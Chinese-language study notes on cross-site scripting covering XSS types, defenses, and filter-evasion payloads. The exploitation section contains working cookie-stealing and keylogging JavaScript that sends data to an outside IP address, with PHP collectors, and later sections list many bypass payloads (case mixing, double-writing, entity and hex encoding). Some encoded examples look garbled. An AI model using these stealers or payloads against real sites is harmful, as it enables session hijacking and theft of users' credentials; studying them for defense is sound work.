-
XSS
1. 概述
(1). 定义
- 跨站脚本攻击XSS,指通过某种方法将****恶意的Script代码注入到Web页面中,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的
(2). 原理
- XSS,是指攻击者通过在****Web页面中写入恶意脚本,造成用户在浏览页面时,获取控制用户浏览器进行操作的攻击方式
(3). 产生条件
- 可以控制的输入点
- **输入能返回到前端页面上,**被浏览器当做脚本语言解释执行
(4). 危害及防御
a. 危害
- 获取用户Cookie
- 键盘记录
- 客户端信息探查
- XSS组合其他漏洞getshell
- 劫持用户会话,执行任意操作
b. 防御
- 过滤用户提交的有害信息
- 对用户****输入的信息进行合法性校验
- 使用****HTML实体编码代替字符
2. 分类
(1). 反射型
a. 定义
- 非持久性、参数型的跨站脚本
b. 攻击方式
- 需要****欺骗用户去点击恶意链接才能触发XSS代码,一般容易出现在搜索框
(2). 存储型
a. 定义
- 持久型,能够将恶意代码写进****数据库或文件,长久保存在数据介质中
b. 攻击方式
- 通过****数据写入点,将精心构造的XSS代码保存到数据库中,当其他用户再次访问时,就会触发并执行恶意的XSS代码
(3). DOM型
a. 定义
- 不经过后端,输出点在DOM,通过url传入参数去控制触发,属于反射型XSS
b. 攻击方式
- 攻击者构造****特殊的URL,其中包含恶意代码,用户点击恶意链接
- 用户浏览器接收到响应后解析执行,****前端JS取出URL中的恶意代码并执行
- 恶意代码窃取到用户数据并发送到攻击者的网站,来进行进一步的操作
(4). 区别
a. 存储型与反射型
- 存储型XSS的恶意代码在****数据库,而反射型XSS的恶意代码在URL里
b. DOM型与其他
- DOM型XSS攻击,取出和执行恶意代码****由浏览器完成,属于前端JavaScript自身的安全漏洞,另外两种属于服务端的安全漏洞
3. 漏洞利用
(1)获取管理权限
- 通过获取****Cookie,从而获取管理员权限
a. 实例
#index.php页面,模拟真实用户的使用,但留有JS后门 <?php if(isset($_POST['submit'])){ setcookie("name","goodjob"); } ?> <html> <script type="text/javascript" src="cookie.js"></script> <meta charset="utf-8"> <form action="#" method="post" id="form1"> <input type="text" name="username" /> <input type="password" name="password" /> <input type="submit" name="submit" value="submit" /> </form> </html> //cookie.js文件,执行恶意操作(获取到cookie并通过指定url传递出去) var img= document.createElement('img'); img.width= 0; img.height= 0; img.src='http://192.168.41.46/xss/cookie/cookie.php?cookie=' + encodeURIComponent(document.cookie); //cookie.php文件,接收cookie.js传递出的数据,并存储在txt文件中 <?php $cookie = $_GET['cookie']; $log = fopen('cookie.txt','a'); fwrite($log,$cookie.PHP_EOL); fclose($log); ?>
(2)获取键盘记录
- 利用****ajax发送HTTP请求
a. 发送请求
- **使用****open()和send()**方法
①GET请求
xmlhttp.open("GET","url地址",true); xmlhttp.send();
②POST请求
xmlhttp.open("POST","url地址",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("fname=Henry&lname=Ford");
b. 接受请求
- 使用XMLHttpRequest对象的****ResponseText和ResponseXML属性
①onreadystatechange
- readystate有5个取值,分为6个阶段
- 取值对应| 取值 | 含义 |
| -------------- | ---------------------------------- |
| 0 | 请求未初始化 |
| 1 | 服务器连接已建立 |
| 2 | 请求已接收 |
| 3 | 请求处理中 |
| 4 | 请求已完成,且响应已就绪 | - 阶段分类
创建 -> 初始化请求 -> 发送请求 -> 接收数据 -> 解析数据 -> 完成
- 取值对应| 取值 | 含义 |
c. 实例
#index.html网页模拟用户真实体验 <html> <head></head> <script type="text/javascript" src="log.js"></script> <meta charset="utf-8"> <body> <form action="#" method="post" id="form1"> <label>输入用户名</label> <input type="text" name="username" /> <br> <label>输入密码</label> <input type="text" name="password" /> <br><br> <input type="submit" name="submit" value="submit" /> </form> </body> </html> #log.js文件执行恶意操作(获取到用户数据并通过指定url传递出去) document.onkeypress=function(evt){ evt=evt?evt:window.event; key=String.fromCharCode(evt.keyCode?evt.keyCode:evt.charCode); if(key){ var http = new XMLHttpRequest(); var param = encodeURI(key); http.open("POST","http://192.168.41.46/xss/keyboard/log.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param); } } #log.php文件,log.js传递出的数据,并存储在txt文件中 <?php $key=$_POST['key']; $logfile='result.txt'; $fp=fopen($logfile,"a"); fwrite($fp,$key); fclose($fp); ?>
4. JS伪协议
a. data://伪协议
<!--1. 编码内容为 <script>alert(1)</script> --> <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object> <!--2. 编码内容为 <script>alert(1)</script> --> <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> <!--3. --> <iframe src="data:text/html,<script>alert(1)</script>"></iframe> <!--4. 将部分字符url编码--> <iframe src="data:text/html,%3Cscript%3Ealert(1)%3C%2Fscript%3E"></iframe>
b. javascript伪协议
<a href="javascript:alert('a')">1</a> <img src='#' onerror="javascript:alert('a')"></img>
5. XSS构造
(1).利用<>构造标签
- 没有任何过滤机制时使用
(2).伪协议
- **使用****javascript:**等伪协议构造XSS
- **支持的标签:**src、href、background等
<a href="javascript:alert(/xss/)">touch me!</a> <img src="javascript:alert(/xss/)"></img> //仅在IE6下成功
(3).事件利用
-
可以利用html中某些****动作时间,绑定恶意脚本
-
常见事件类型
window事件 对window对象触发的事件 Form事件 HTML表单内的动作触发事件 Keyboard事件 键盘按键 Mouse事件 由鼠标或类似用户动作触发的事件 Media事件 由多媒体触发的事件 <img src='./smile.jpg' onmouseover='alert(/xss/)' /> <input type="text" onkeydown="alert(/xss/)" /> <input type="text" onkeyup="alert(/xss/)" /> <input type="button" onclick="alert(/xss/)" /> <img src='#' onerror='alert(/xss/)' />
(4).利用CSS触发(已过时)
(5)其他标签及事件
- 随着前端语言的更新速度,会有****新的标签和事件出现
<svg onload="alert(/xss/)" > //svg是h5语言中的标签 <input onfocus=alert(/xss/) autofocus > //自动触发
69. XSS变形
(1)大小写转换
- 将payload进行大小写转化
<img sRc='#' OnError="alert(/xss/)"> <a hREf='JaVaScriPt:alert(/xss/)'>click me</a>
(2)引号的使用
- HTML对引号不敏感,但过滤函数对引号严格
<img src="#" onerror="alert(/xss/)" /> <img src='#' onerror='alert(/xss/)' /> <img src=# onerror=alert(/xss/) />
(3)左斜线代替空格
<img src="#"/onerror="alert(/xss/)" />
(4)回车的使用
- 添加****水平制表符和回车符来绕过关键字检测
<a href="javascript:alert(/xss/)">clike me</a> => <!--水平制表符--> <a href="j a v a s c r i p t : alert(/xss/)">clike me</a> <!--回车符--> <a href="j a v a s c r i p t :alert(/xss/)">clike me</a> <a href="javascript:alert(/xss/)">clike me</a>
- 一些函数不可以加回车(onmoveover、onerror等)
(5)双写绕过
- 针对只做了****一次过滤的情况
-
<script>alert(1)</script> => <scr<script>ipt>alert(1)</scr</script>ipt>
(6)CSS中的变形
a.使用全角字符 "><img src="#" onerror="alert(/xss/)" /><" b.注释会被浏览器忽略 "><img src="#" oner/*~*/ror="alert(/x~s~s/)" /><" c. 样式表中的[\]和[\0] "><style>@import 'javasc\ri\0pt:alert*(/xss/)';</style><"
(7)对标签属性值进行转码
- 对标签值使用****十进制或十六进制表示
1. 转码 "><a href="javascript:alert(/xss/)">click me</a><" => "><a href="javascript:alert(/xss/)">click me</a><" "><a href="javas c r
ipt:alert(/xss/)">click me<"
2. 进阶变形
"><" =>
"><"
or
"><"
| **符号** | **ASCII码** | **十进制** | **十六进制** |
| ------------------------- | ----------------- | ---------------- | ------------------ |
| **a** | **97** | `a` | `=` |
| **e** | **101** | `e` | `e` |
| **Tab(水平制表符)** | **9** | `	` | |
| **换行** | **10** | ` ` | |
| **回车** | **13** | ` ` | |
| **SOH** | **1** | `` | |
| **STX** | **2** | `` | |
#### (8)拆分跨站
* **当应用程序****没有过滤**关键字符,却对**输入字符长度有限制**时,可以使用**拆分法**
#### (9)HTML编码
##### a. 十进制
* **标识符:**`&# + Ascii码`
click me =>
<a href="javascript:alert(/xss/)">click me</a>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
or
<img src=x onerror=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
##### b. 十六进制
* **标识符:**`&#x`
click me =>
<a href="javascript:alert(/xss/)">click me</a>
<img src=x onerror=eval("\x61\x6c\x65\x72\x74\x28\x31\x29")>
or
<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
##### c. 其他编码
###### ①Unicode编码
(1)jsfuck混淆
- 将js代码转换成混淆之后的格式
- 在线转换网站http://www.jsfuck.com/